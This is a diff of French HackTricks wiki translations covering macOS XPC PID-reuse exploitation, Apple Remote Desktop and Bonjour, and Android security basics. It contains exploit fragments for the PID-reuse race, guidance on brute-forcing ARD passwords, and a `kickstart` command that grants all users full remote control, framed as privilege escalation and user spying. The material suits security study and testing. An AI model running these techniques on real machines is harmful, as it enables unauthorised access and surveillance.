* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

50
macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md
View file

@ -2,38 +2,38 @@
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe Telegram](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [@carlospolopm](https://twitter.com/carlospolopm)**.**
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Réutilisation de PID
Lorsqu'un **service XPC** macOS vérifie le processus appelant sur la base du **PID** et non sur le **jeton d'audit**, il est vulnérable à une attaque de réutilisation de PID. Cette attaque repose sur une **condition de concurrence** où un **exploit** va **envoyer des messages au service XPC** en **abusant** de la fonctionnalité et juste **après**, exécuter **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** avec le binaire **autorisé**.
Lorsqu'un service **XPC macOS** vérifie le processus appelé en fonction du **PID** et non du **jeton d'audit**, il est vulnérable à une attaque de réutilisation de PID. Cette attaque est basée sur une **condition de course** où une **exploitation** va **envoyer des messages au service XPC** en **abusant** de la fonctionnalité et juste **après**, exécuter **`posix_spawn(NULL, binaire_cible, NULL, &attr, argv_cible, environ)`** avec le binaire **autorisé**.
Cette fonction fera en sorte que le binaire **autorisé possède le PID** mais le **message XPC malveillant aurait été envoyé** juste avant. Ainsi, si le service **XPC** **utilise** le **PID** pour **authentifier** l'expéditeur et le vérifie **APRÈS** l'exécution de **`posix_spawn`**, il pensera qu'il provient d'un processus **autorisé**.
Cette fonction fera en sorte que le **binaire autorisé possède le PID**, mais le **message XPC malveillant aura été envoyé** juste avant. Ainsi, si le service **XPC** utilise le **PID** pour **authentifier** l'expéditeur et le vérifie **APRÈS** l'exécution de **`posix_spawn`**, il pensera qu'il provient d'un processus **autorisé**.
### Exemple d'exploit
### Exemple d'exploitation
Si vous trouvez la fonction **`shouldAcceptNewConnection`** ou une fonction appelée par celle-ci **appelant** **`processIdentifier`** et ne faisant pas appel à **`auditToken`**. Cela signifie très probablement qu'elle **vérifie le PID du processus** et non le jeton d'audit.\
Si vous trouvez la fonction **`shouldAcceptNewConnection`** ou une fonction appelée par celle-ci appelant **`processIdentifier`** et ne faisant pas appel à **`auditToken`**, il est très probable qu'elle **vérifie le PID du processus** et non le jeton d'audit.\
Comme par exemple dans cette image (prise de la référence) :
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
Vérifiez cet exemple d'exploit (encore une fois, pris de la référence) pour voir les 2 parties de l'exploit :
Vérifiez cet exemple d'exploitation (encore une fois, tiré de la référence) pour voir les 2 parties de l'exploit :
* Une qui **génère plusieurs forks**
* **Chaque fork** va **envoyer** le **payload** au service XPC tout en exécutant **`posix_spawn`** juste après l'envoi du message.
- Une qui **génère plusieurs forks**
- **Chaque fork** enverra la **charge utile** au service XPC tout en exécutant **`posix_spawn`** juste après l'envoi du message.
{% hint style="danger" %}
Pour que l'exploit fonctionne, il est important de `export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ou de le mettre à l'intérieur de l'exploit :
Pour que l'exploit fonctionne, il est important d'`exporter` **`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** ou de le mettre à l'intérieur de l'exploit :
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
@ -43,9 +43,9 @@ asm(".section __DATA,__objc_fork_ok\n"
{% tabs %}
{% tab title="NSTasks" %}
Première option en utilisant **`NSTasks`** et argument pour lancer les enfants afin d'exploiter le RC
Première option utilisant **`NSTasks`** et l'argument pour lancer les enfants pour exploiter le RC
```objectivec
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
#import <Foundation/Foundation.h>
@ -152,7 +152,7 @@ return 0;
{% endtab %}
{% tab title="fork" %}
Cet exemple utilise un **`fork`** brut pour lancer **des processus enfants qui exploiteront la condition de compétition PID** puis exploiteront **une autre condition de compétition via un lien physique (Hard link) :**
Cet exemple utilise un **`fork`** brut pour lancer **des enfants qui exploiteront la condition de course PID** puis exploiteront **une autre condition de course via un lien physique :**
```objectivec
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
@ -295,14 +295,14 @@ return 0;
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

100
macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Services d'accès à distance
Voici les services macOS courants pour y accéder à distance.\
Ce sont les services macOS courants pour y accéder à distance.\
Vous pouvez activer/désactiver ces services dans `Préférences Système` --> `Partage`
* **VNC**, connu sous le nom de "Partage d'écran" (tcp:5900)
@ -36,73 +36,65 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin
```
### Test de pénétration ARD
(Cette partie a été [**prise de ce billet de blog**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html))
Apple Remote Desktop (ARD) est une version améliorée de [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) adaptée pour macOS, offrant des fonctionnalités supplémentaires. Une vulnérabilité notable dans ARD est sa méthode d'authentification pour le mot de passe de l'écran de contrôle, qui utilise uniquement les 8 premiers caractères du mot de passe, le rendant vulnérable aux [attaques par force brute](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) avec des outils comme Hydra ou [GoRedShell](https://github.com/ahhh/GoRedShell/), car il n'y a pas de limites de taux par défaut.
C'est essentiellement un [VNC](https://en.wikipedia.org/wiki/Virtual\_Network\_Computing) modifié avec quelques **fonctionnalités spécifiques à macOS**.\
Cependant, l'**option de partage d'écran** est juste un serveur VNC **basique**. Il existe également une option avancée ARD ou Gestion à distance pour **définir un mot de passe de contrôle d'écran** qui rendra ARD **compatible avec les clients VNC**. Cependant, il y a une faiblesse dans cette méthode d'authentification qui **limite** ce **mot de passe** à un **tampon d'authentification de 8 caractères**, le rendant très facile à **forcer brutalement** avec un outil comme [Hydra](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) ou [GoRedShell](https://github.com/ahhh/GoRedShell/) (il n'y a aussi **aucune limite de taux par défaut**).\
Vous pouvez identifier les **instances vulnérables de partage d'écran** ou de gestion à distance avec **nmap**, en utilisant le script `vnc-info`, et si le service prend en charge `VNC Authentication (2)`, alors ils sont probablement **vulnérables à la force brute**. Le service tronquera tous les mots de passe envoyés sur le réseau à 8 caractères, de sorte que si vous définissez l'authentification VNC sur "password", à la fois "passwords" et "password123" seront authentifiés.
Les instances vulnérables peuvent être identifiées en utilisant le script `vnc-info` de **nmap**. Les services prenant en charge l'`Authentification VNC (2)` sont particulièrement susceptibles aux attaques par force brute en raison de la troncature du mot de passe à 8 caractères.
<figure><img src="../../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure>
Si vous souhaitez l'activer pour élever les privilèges (accepter les invites TCC), accéder avec une interface graphique ou espionner l'utilisateur, il est possible de l'activer avec :
{% code overflow="wrap" %}
Pour activer ARD pour diverses tâches administratives telles que l'escalade de privilèges, l'accès GUI ou la surveillance des utilisateurs, utilisez la commande suivante:
```bash
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
```
{% endcode %}
ARD offre des niveaux de contrôle polyvalents, y compris l'observation, le contrôle partagé et le contrôle total, les sessions persistant même après des changements de mot de passe utilisateur. Il permet d'envoyer directement des commandes Unix, de les exécuter en tant que root pour les utilisateurs administratifs. La planification de tâches et la recherche à distance de Spotlight sont des fonctionnalités notables, facilitant les recherches à distance et à faible impact de fichiers sensibles sur plusieurs machines.
Vous pouvez passer du mode **observation** au **contrôle partagé**, et au **contrôle total**, allant de l'espionnage d'un utilisateur à la prise de contrôle de son bureau en un clic. De plus, si vous accédez à une session ARD, cette session restera ouverte jusqu'à ce qu'elle soit terminée, même si le mot de passe de l'utilisateur est changé pendant la session.
Vous pouvez également **envoyer des commandes unix directement** via ARD et vous pouvez spécifier l'utilisateur root pour exécuter des choses en tant que root si vous êtes un utilisateur administratif. Vous pouvez même utiliser cette méthode de commande unix pour planifier des tâches à distance à exécuter à un moment spécifique, cependant cela se produit comme une connexion réseau à l'heure spécifiée (au lieu d'être stocké et exécuté sur le serveur cible). Enfin, Spotlight à distance est l'une de mes fonctionnalités préférées. C'est vraiment pratique car vous pouvez effectuer une recherche indexée à faible impact rapidement et à distance. C'est précieux pour rechercher des fichiers sensibles car c'est rapide, vous permet d'effectuer des recherches simultanément sur plusieurs machines et ne fera pas monter en flèche le CPU.
## Protocole Bonjour
**Bonjour** est une technologie conçue par Apple qui permet aux ordinateurs et **aux appareils situés sur le même réseau de découvrir les services offerts** par d'autres ordinateurs et appareils. Elle est conçue de telle sorte que tout appareil conscient de Bonjour peut être connecté à un réseau TCP/IP et il **choisira une adresse IP** et rendra les autres ordinateurs de ce réseau **conscients des services qu'il offre**. Bonjour est parfois appelé Rendezvous, **Zero Configuration** ou Zeroconf.\
Le Réseau à Configuration Zéro, tel que Bonjour, fournit :
Bonjour, une technologie conçue par Apple, permet aux **appareils sur le même réseau de détecter les services offerts par les autres**. Connu également sous le nom de Rendezvous, **Zero Configuration** ou Zeroconf, il permet à un appareil de rejoindre un réseau TCP/IP, de **choisir automatiquement une adresse IP** et de diffuser ses services à d'autres appareils du réseau.
* Doit être capable d'**obtenir une adresse IP** (même sans serveur DHCP)
* Doit être capable de faire de la **traduction nom-adresse** (même sans serveur DNS)
* Doit être capable de **découvrir les services sur le réseau**
Le Réseau Zero Configuration, fourni par Bonjour, garantit que les appareils peuvent :
* **Obtenir automatiquement une adresse IP** même en l'absence d'un serveur DHCP.
* Effectuer une **traduction de nom en adresse** sans nécessiter de serveur DNS.
* **Découvrir les services** disponibles sur le réseau.
L'appareil obtiendra une **adresse IP dans la plage 169.254/16** et vérifiera si un autre appareil utilise cette adresse IP. Si ce n'est pas le cas, il conservera l'adresse IP. Les Macs conservent une entrée dans leur table de routage pour ce sous-réseau : `netstat -rn | grep 169`
Les appareils utilisant Bonjour s'attribueront une **adresse IP de la plage 169.254/16** et vérifieront sa singularité sur le réseau. Les Mac maintiennent une entrée de table de routage pour ce sous-réseau, vérifiable via `netstat -rn | grep 169`.
Pour le DNS, le **protocole Multicast DNS (mDNS) est utilisé**. [**Les services mDNS** écoutent sur le port **5353/UDP**](../../network-services-pentesting/5353-udp-multicast-dns-mdns.md), utilisent **des requêtes DNS régulières** et utilisent l'**adresse de multidiffusion 224.0.0.251** au lieu d'envoyer la requête juste à une adresse IP. Toute machine écoutant ces requêtes répondra, généralement à une adresse de multidiffusion, afin que tous les appareils puissent mettre à jour leurs tables.\
Chaque appareil **sélectionnera son propre nom** lors de l'accès au réseau, l'appareil choisira un nom **se terminant par .local** (peut être basé sur le nom d'hôte ou un nom complètement aléatoire).
Pour le DNS, Bonjour utilise le **protocole Multicast DNS (mDNS)**. mDNS fonctionne sur le **port 5353/UDP**, utilisant des **requêtes DNS standard** mais ciblant l'**adresse de multidiffusion 224.0.0.251**. Cette approche garantit que tous les appareils en écoute sur le réseau peuvent recevoir et répondre aux requêtes, facilitant la mise à jour de leurs enregistrements.
Pour **découvrir les services, le DNS Service Discovery (DNS-SD)** est utilisé.
Lors de la connexion au réseau, chaque appareil se choisit un nom, se terminant généralement par **.local**, qui peut être dérivé du nom d'hôte ou généré de manière aléatoire.
La dernière exigence du Réseau à Configuration Zéro est satisfaite par **DNS Service Discovery (DNS-SD)**. DNS Service Discovery utilise la syntaxe des enregistrements DNS SRV, mais utilise **des enregistrements DNS PTR afin que plusieurs résultats puissent être retournés** si plus d'un hôte offre un service particulier. Un client demande la recherche PTR pour le nom `<Service>.<Domain>` et **reçoit** une liste de zéro ou plusieurs enregistrements PTR de la forme `<Instance>.<Service>.<Domain>`.
La découverte de services au sein du réseau est facilitée par **la Découverte de Services DNS (DNS-SD)**. En exploitant le format des enregistrements DNS SRV, DNS-SD utilise des **enregistrements DNS PTR** pour permettre l'énumération de plusieurs services. Un client recherchant un service spécifique demandera un enregistrement PTR pour `<Service>.<Domaine>`, recevant en retour une liste d'enregistrements PTR formatés comme `<Instance>.<Service>.<Domaine>` si le service est disponible à partir de plusieurs hôtes.
Le binaire `dns-sd` peut être utilisé pour **annoncer des services et effectuer des recherches** de services :
L'utilitaire `dns-sd` peut être utilisé pour **découvrir et annoncer des services réseau**. Voici quelques exemples de son utilisation :
### Recherche de Services SSH
Pour rechercher des services SSH sur le réseau, la commande suivante est utilisée :
```bash
#Search ssh services
dns-sd -B _ssh._tcp
Browsing for _ssh._tcp
DATE: ---Tue 27 Jul 2021---
12:23:20.361 ...STARTING...
Timestamp A/R Flags if Domain Service Type Instance Name
12:23:20.362 Add 3 1 local. _ssh._tcp. M-C02C934RMD6R
12:23:20.362 Add 3 10 local. _ssh._tcp. M-C02C934RMD6R
12:23:20.362 Add 2 16 local. _ssh._tcp. M-C02C934RMD6R
```
Ce commandement initie la recherche de services _ssh._tcp et affiche des détails tels que l'horodatage, les indicateurs, l'interface, le domaine, le type de service et le nom de l'instance.
### Publicité d'un service HTTP
Pour annoncer un service HTTP, vous pouvez utiliser :
```bash
#Announce HTTP service
dns-sd -R "Index" _http._tcp . 80 path=/index.html
```
Ce command enregistre un service HTTP nommé "Index" sur le port 80 avec un chemin `/index.html`.
#Search HTTP services
Pour rechercher ensuite des services HTTP sur le réseau:
```bash
dns-sd -B _http._tcp
```
Lorsqu'un nouveau service est lancé, **le nouveau service diffuse sa présence à tout le monde** sur le sous-réseau. L'écouteur n'a pas besoin de demander ; il doit juste être à l'écoute.
Lorsqu'un service démarre, il annonce sa disponibilité à tous les appareils sur le sous-réseau en diffusant sa présence. Les appareils intéressés par ces services n'ont pas besoin d'envoyer de demandes, mais simplement d'écouter ces annonces.
Vous pouvez utiliser [**cet outil**](https://apps.apple.com/us/app/discovery-dns-sd-browser/id1381004916?mt=12) pour voir les **services proposés** dans votre réseau local actuel.\
Ou vous pouvez écrire vos propres scripts en python avec [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) :
Pour une interface plus conviviale, l'application ****Discovery - DNS-SD Browser** disponible sur l'Apple App Store peut visualiser les services offerts sur votre réseau local.
Alternativement, des scripts personnalisés peuvent être écrits pour parcourir et découvrir des services en utilisant la bibliothèque `python-zeroconf`. Le script [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) démontre la création d'un navigateur de services pour les services `_http._tcp.local.`, affichant les services ajoutés ou supprimés:
```python
from zeroconf import ServiceBrowser, Zeroconf
class MyListener:
def remove_service(self, zeroconf, type, name):
@ -112,7 +104,6 @@ def add_service(self, zeroconf, type, name):
info = zeroconf.get_service_info(type, name)
print("Service %s added, service info: %s" % (name, info))
zeroconf = Zeroconf()
listener = MyListener()
browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener)
@ -121,7 +112,8 @@ input("Press enter to exit...\n\n")
finally:
zeroconf.close()
```
Si vous pensez que Bonjour pourrait être plus sécurisé **désactivé**, vous pouvez le faire avec :
### Désactivation de Bonjour
Si des préoccupations concernant la sécurité ou d'autres raisons nécessitent de désactiver Bonjour, cela peut être fait en utilisant la commande suivante :
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
@ -133,14 +125,14 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

383
mobile-pentesting/android-app-pentesting/android-applications-basics.md
View file

@ -1,175 +1,131 @@
# Notions de base sur les applications Android
# Bases des Applications Android
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Modèle de sécurité Android
## Modèle de Sécurité Android
**Il y a deux couches :**
* Le **système d'exploitation**, qui maintient les applications installées isolées les unes des autres.
* L'**application elle-même**, qui permet aux développeurs d'**exposer certaines fonctionnalités** et configure les capacités de l'application.
- Le **système d'exploitation (OS)**, qui maintient les applications installées isolées les unes des autres.
- L'**application elle-même**, qui permet aux développeurs de **exposer certaines fonctionnalités** et de configurer les capacités de l'application.
### Séparation UID
### Séparation des UID
**Chaque application se voit attribuer un identifiant utilisateur spécifique**. Cela est fait lors de l'installation de l'application afin que **l'application ne puisse interagir qu'avec les fichiers appartenant à son identifiant utilisateur ou avec des fichiers partagés**. Par conséquent, seuls l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données de l'application.
**Chaque application se voit attribuer un ID utilisateur spécifique**. Cela se fait lors de l'installation de l'application afin que **l'application puisse interagir uniquement avec les fichiers possédés par son ID utilisateur ou les fichiers partagés**. Par conséquent, seule l'application elle-même, certains composants du système d'exploitation et l'utilisateur root peuvent accéder aux données des applications.
### Partage UID
### Partage des UID
**Deux applications peuvent être configurées pour utiliser le même UID**. Cela peut être utile pour partager des informations, mais si l'une d'elles est compromise, les données des deux applications seront compromises. C'est pourquoi ce comportement est **découragé**.\
**Pour partager le même UID, les applications doivent définir la même valeur `android:sharedUserId` dans leurs manifestes.**
**Deux applications peuvent être configurées pour utiliser le même UID**. Cela peut être utile pour partager des informations, mais si l'une d'elles est compromise, les données des deux applications seront compromises. C'est pourquoi ce comportement est **déconseillé**.\
**Pour partager le même UID, les applications doivent définir la même valeur `android:sharedUserId`** dans leurs manifestes.
### Sandbox
### Isolation
Le **bac à sable des applications Android** permet d'exécuter **chaque application** comme un **processus séparé sous un identifiant utilisateur séparé**. Chaque processus a sa propre machine virtuelle, donc le code d'une application s'exécute isolément des autres applications.\
À partir d'Android 5.0(L) **SELinux** est appliqué. En gros, SELinux a refusé toutes les interactions entre processus, puis a créé des politiques pour **autoriser uniquement les interactions attendues entre eux**.
Le **bac à sable des applications Android** permet d'exécuter **chaque application** en tant que **processus séparé sous un ID utilisateur distinct**. Chaque processus a sa propre machine virtuelle, de sorte que le code d'une application s'exécute de manière isolée par rapport aux autres applications.\
